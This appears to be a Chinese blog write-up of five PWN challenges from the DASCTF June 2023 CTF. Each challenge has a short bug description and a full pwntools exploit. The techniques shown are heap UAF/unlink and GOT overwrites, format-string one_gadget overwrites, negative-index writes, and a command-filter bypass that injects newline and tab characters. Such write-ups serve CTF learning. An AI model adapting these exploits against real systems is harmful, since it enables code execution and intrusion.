DASCTF 2023六月挑战赛|二进制专项 PWN (上)

1.easynote

edit函数对长度没有检查

free函数存在UAF漏洞

思路:1.通过堆溢出,UAF,修改size位达到堆块重叠,使用fastbin attack,把__malloc_hook,写入one_gadget

2.通过unlink修改free got表为system

exp:

  1. from pwn import *
  2. context(log_level='debug',arch='amd64',os='linux')
  3. io = process('./easynote')
  4. #libc = ELF('/home/su/PWN/BUUCTF/Jqfx/EJZ/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.23.so')
  5. #io=remote('node5.buuoj.cn',29421)
  6. libc = ELF('./libc-2.23.so')
  7. def add(size,msg):
  8. io.sendlineafter('5. exit','1')
  9. io.sendlineafter('content --->',str(size))
  10. io.sendlineafter('Content --->',msg)
  11. def edit(index,size,msg):
  12. io.sendlineafter('5. exit','2')
  13. io.sendlineafter('Index --->',str(index))
  14. io.sendlineafter('content --->',str(size))
  15. io.sendafter('Content --->',msg)
  16. def free(index):
  17. io.sendlineafter('5. exit','3')
  18. io.sendlineafter('Index --->',str(index))
  19. def show(index):
  20. io.sendlineafter('5. exit','4')
  21. io.sendlineafter('Index --->',str(index))
  22. fd = 0x6020C0 -0x18
  23. bk = 0x6020C0 -0x10
  24. add(0x88,'aaaa')
  25. add(0x88,'dddd')
  26. add(0x80,'cccc')
  27. add(0x50,'/bin/sh\x00')
  28. #gdb.attach(io)
  29. free(2)
  30. show(2)
  31. io.recvuntil('Content: ')
  32. libc_base = u64(io.recv(6).ljust(8,b'\x00')) - 0x68 -libc.sym['__malloc_hook']
  33. system = libc_base + libc.sym['system']
  34. success('libc_base--->'+hex(libc_base))
  35. payload = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
  36. edit(0,len(payload),payload)
  37. free(1)
  38. gdb.attach(io)
  39. payload = b'a'*0x20 + p64(0x602018)
  40. edit(0,len(payload),payload)
  41. edit(1,8,p64(system))
  42. free(3)
  43. io.interactive()

2.fooooood

非栈上格式化字符串漏洞,泄露地址,可以改循环次数,实现无限循环,最后改返回地址为one_gadget,即可

exp:

  1. from pwn import *
  2. context(log_level='debug',arch='amd64',os='linux')
  3. io = process('./fooooood')
  4. libc = ELF('./libc.so.6')
  5. elf = ELF('./fooooood')
  6. success('puts--->'+hex(libc.sym['puts']))
  7. success('sys---->'+hex(libc.sym['system']))
  8. #gdb.attach(io)
  9. io.sendlineafter('name:','susu')
  10. io.recvuntil(' favourite food:')
  11. payload = b'%9$pa%11$pb%13$p'
  12. io.sendline(payload)
  13. io.recvuntil('You like')
  14. libc_base = int(io.recv(15),16) - 240 - libc.sym['__libc_start_main']
  15. success('libc_base---->'+hex(libc_base))
  16. io.recvuntil('a')
  17. stack_addr = int(io.recv(14),16) - 0xd0
  18. success('stack_addr---->'+hex(stack_addr))
  19. io.recvuntil('b')
  20. elf_base = int(io.recv(14),16) - elf.sym['main']
  21. success('elf_base----->'+hex(elf_base))
  22. #gdb.attach(io)
  23. count = stack_addr - 0x28
  24. count1 = count & 0xffff
  25. pop_rdi = libc_base + 0x0000000000021112 #: pop rdi ; ret
  26. system = libc_base + libc.sym['system']
  27. binsh = libc_base + libc.search('/bin/sh').__next__()
  28. one = libc_base + 0xf1247
  29. payload = b'%'+str(count1+4).encode('utf-8') + b'c%11$hn'
  30. io.recvuntil(' favourite food:')
  31. io.sendline(payload)
  32. io.recvuntil(' favourite food:')
  33. payload = b'%'+str(0x5).encode('utf-8')+b'c%37$hhn'
  34. io.sendline(payload)
  35. #io.recvuntil(' favourite food:')
  36. ret = stack_addr -0x10
  37. ret1 = ret & 0xffff
  38. payload = b'%'+str(ret1).encode('utf-8') + b'c%11$hn'
  39. io.sendline(payload)
  40. io.recvuntil(' favourite food:')
  41. success('pop_rdi---->'+hex(pop_rdi))
  42. payload = payload = b'%'+str(one & 0xffff).encode('utf-8')+b'c%37$hn'
  43. #gdb.attach(io)
  44. io.sendline(payload)
  45. io.recvuntil(' favourite food:')
  46. payload = b'%'+str(ret1+2).encode('utf-8')+b'c%11$hn'
  47. io.sendline(payload)
  48. io.recvuntil(' favourite food:')
  49. payload = b'%'+str((one >> 16) & 0xffff).encode('utf-8') + b'c%37$hn'
  50. #gdb.attach(io)
  51. io.sendline(payload)
  52. #addr = stack_addr - 8
  53. #addr1 = addr & 0xffff
  54. #io.recvuntil(' favourite food:')
  55. #payload = payload = b'%'+str(addr1).encode('utf-8') + b'c%11$hn'
  56. #gdb.attach(io)
  57. #io.sendline(payload)
  58. #io.recvuntil(' favourite food:')
  59. #payload = b'%'+str(system & 0xffff).encode('utf-8') + b'c%37$hn'
  60. #io.sendline(payload)
  61. #io.recvuntil(' favourite food:')
  62. #payload = payload = b'%'+str(addr1 + 2).encode('utf-8') + b'c%11$hn'
  63. #io.sendline(payload)
  64. #io.recvuntil(' favourite food:')
  65. #payload = b'%'+str(system >> 16 & 0xffff).encode('utf-8') + b'c%37$hn'
  66. #gdb.attach(io)
  67. #io.sendline(payload)
  68. io.interactive()

3.Candy_Shop

这里对输入的v1没有检查,可以输入负数,修改到got表

通过格式化字符串泄露libc地址

exp:

  1. from pwn import *
  2. context(log_level='debug',arch='amd64',os='linux')
  3. io = process('./Candy_Shop')
  4. libc = ELF('./Candy_Shop.so.6')
  5. success('puts---->'+hex(libc.sym['puts']))
  6. def eat():
  7. io.sendlineafter('option: ','e')
  8. def buy(offest,payload):
  9. io.sendlineafter('option: ','b')
  10. io.sendlineafter('want to bye:','t')
  11. io.sendlineafter('the candy in?',offest)
  12. io.sendlineafter('name!',payload)
  13. def gift(payload):
  14. io.sendlineafter('option: ','g')
  15. io.sendlineafter('your name:',payload)
  16. #gdb.attach(io)
  17. payload = '%3$p'
  18. gift(payload)
  19. io.recvuntil('a gift:')
  20. libc_base = int(io.recv(14),16) - 23 - libc.sym['write']
  21. success('libc_base---->'+hex(libc_base))
  22. system = libc_base + libc.sym['system']
  23. buy('-10',b'a'*6+p64(system))
  24. #gift('/bin/sh\x00')
  25. io.sendline('g')
  26. io.sendline('/bin/sh')
  27. io.interactive()

4.server

这里可以实现目录穿越,填满0x20个字节,一个存在的文件如/flag

做了过滤

但是没有过滤\n和\t,通过\n分割命令,\t代替空格读取flag

exp:

  1. from pwn import *
  2. context(log_level='debug',arch='amd64',os='linux')
  3. #io = process('./server')
  4. io = remote('node5.buuoj.cn',27810)
  5. io.sendlineafter('choice >>','1')
  6. io.sendlineafter('Please input the key of admin :',b'..///////////////////bin/sh')
  7. #pause()
  8. #sleep(2)
  9. io.sendlineafter('choice >>','2')
  10. io.recvuntil('username to add')
  11. io.send("66cat\tfl*\n")
  12. io.sendlineafter('choice >>','2')
  13. io.recvuntil('username to add')
  14. io.send("'\n")
  15. io.interactive()

5.Approoooooooaching

一个虚拟机的题目

存在后门,对输入的字符进行解码处理对于相应的功能

通过偏移到返回地址最后一位修改为后门

exp:

  1. from pwn import *
  2. context(log_level='debug',arch='amd64',os='linux')
  3. io = process('./bf')
  4. io.recvuntil('choice:')
  5. io.sendline('1')
  6. io.sendlineafter('size:',str(0x300))
  7. io.recvuntil('choice:')
  8. io.sendline('2')
  9. io.sendline('iiiiyy')
  10. io.recvuntil('choice:')
  11. io.sendline('3')
  12. io.recvuntil('choice:')
  13. io.sendline('4')
  14. gdb.attach(io)
  15. io.send('\xe0')
  16. io.interactive()

还有三道下篇详细讲......

DASCTF 2023六月挑战赛|二进制专项 PWN (上)的更多相关文章

  1. [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇

    目录 [二进制漏洞]PWN学习之格式化字符串漏洞 Linux篇 格式化输出函数 printf函数族功能介绍 printf参数 type(类型) flags(标志) number(宽度) precisi ...

  2. Solr.NET快速入门(九)【二进制文档上传】【完】

    二进制文档上传 SolrNet支持Solr"提取"功能(a.k.a. Solr"Cell")从二进制文档格式(如Word,PDF等)索引数据. 这里有一个简单的 ...

  3. DASCTF NOV X联合出题人-PWN

    太忙了,下午4点才开始做,,剩下的以后补上 签个到 逻辑很简单两个功能的堆,一个就是申请heap.还有一个是检验如果校验通过就会得到flag 申请模块 ​ 中间0x886是个很恶心的东西,需要我们绕过 ...

  4. [复现]2021 DASCTF X BUUOJ 五月大联动-PWN

    [复现]2021 DASCTF X BUUOJ 五月大联动 由于我没ubuntu16就不复现第一个题了,直接第二个 正常的off by one from pwn import * context.os ...

  5. php canvas 前端JS压缩,获取图片二进制流数据并上传

    <?php if(isset($_GET['upload']) && $_GET['upload'] == 'img'){ //二进制数据流 $data = file_get_c ...

  6. 二进制配置文件为什么比json等配置文件效率高

    二进制配置文件为什么比json等配置文件高效 项目中用spine做动画,spine可以导出json和二进制的动画配置文件,蛋疼的是spine官方竟然没有提供c的二进制配置解析代码,更没有提供它二进制文 ...

  7. Struts2文件上传与下载

    一,页面 index.html 在页面中最重要的就是这个文件上传用的 form 表单,注意这里一定要把 form 的encyType属性明确标定为“multipart/form-data”,只有这样. ...

  8. ueditor使用canvas在图片上传前进行压缩

    之前就看到H5使用canvas就可以在前端使用JS压缩图片,这次接到任务要把这个功能嵌入到ueditor里面去,以节省流量,减轻服务器压力. H5使用canvas进行压缩的代码有很多,核心原理就是创建 ...

  9. Spring MVC 学习总结(五)——校验与文件上传

    Spring MVC不仅是在架构上改变了项目,使代码变得可复用.可维护与可扩展,其实在功能上也加强了不少. 验证与文件上传是许多项目中不可缺少的一部分.在项目中验证非常重要,首先是安全性考虑,如防止注 ...

  10. 前端上传组件Plupload使用指南

    我之前写过一篇文章<文件上传利器SWFUpload使用指南>,里面介绍了上传组件SWFUpload的使用方法,但现在随着html5技术的逐渐推广和普及,再去使用以flash为上传手段的SW ...

随机推荐

  1. Pandas学习之路【1】

    安装pandas: pip install pandas pandas读取数据: 数据类型 读取方式 csv, tsv, txt pd.read_csv Excel pd.read_excel mys ...

  2. CSS——鼠标样式

    在浏览网页的过程中,当我们将鼠标移动到一些元素上时,鼠标的样式会发生相应的改变,例如当鼠标指向文本时,鼠标的样式会变成类似大写字母I的样子:当鼠标指向链接时,鼠标会变成一个小手的形状等. 除了这些默认 ...

  3. Flask学习记录:在w3cschool资料的基础上的个人摘录、实践与总结

    学习与转载自w3cschool,在w3cschool资料的基础上的个人摘录.实践与总结,如有错误望留言. 一.Flask 概述 2021-08-25 14:01 更新 1.1 什么是Web Frame ...

  4. 恢复Everything的默认排序

    在窗口里点了文件名/时间排序后,想恢复默认排序: 点击菜单 ,视图-排序-最近打开时间.

  5. redis数据持久化篇

    为什么需要持久化 Redis是个基于内存的数据库. 那服务一旦宕机,内存中的数据将全部丢失. 通常的解决方案是从后端数据库恢复这些数据,但后端数据库有性能瓶颈 如果是大数据量的恢复,1.会对数据库带来 ...

  6. requests高级操作

    requests的Cookie处理 有时相关的需求会让我们去爬取基于某些用户的相关用户信息,例如爬取张三人人网账户中的个人身份信息.好友账号信息等. 那么这个时候,我们就需要对当前用户进行登录操作,登 ...

  7. Java原子操作保证方案

    引言 原子操作是指不会被线程调度机制打断的操作:这种操作一旦开始,就一直运行到结束,中间不会有任何 context switch (切换到另一个线程).通常所说的原子操作包括对非long和double ...

  8. 面试官:谈谈对SpringAI的理解?

    Spring AI 已经发布了好长时间了,目前已经更新到 1.0 版本了,所以身为 Java 程序员的你,如果还对 Spring AI 一点都不了解的话,那就有点太落伍了. 言归正传,那什么是 Spr ...

  9. react 使用 error 报错

    在使用react 中报错原因总结 01 // Warning: Can't call setState on a component that is not yet mounted. This is ...

  10. SOP页面跳转设计 RAS AES加密算法应用跨服务免登陆接口设计

    SOP页面跳转设计 RAS AES加密算法应用跨服务免登陆接口设计 SOP,是 Standard Operating Procedure三个单词中首字母的大写 ,即标准作业程序,指将某一事件的标准操作 ...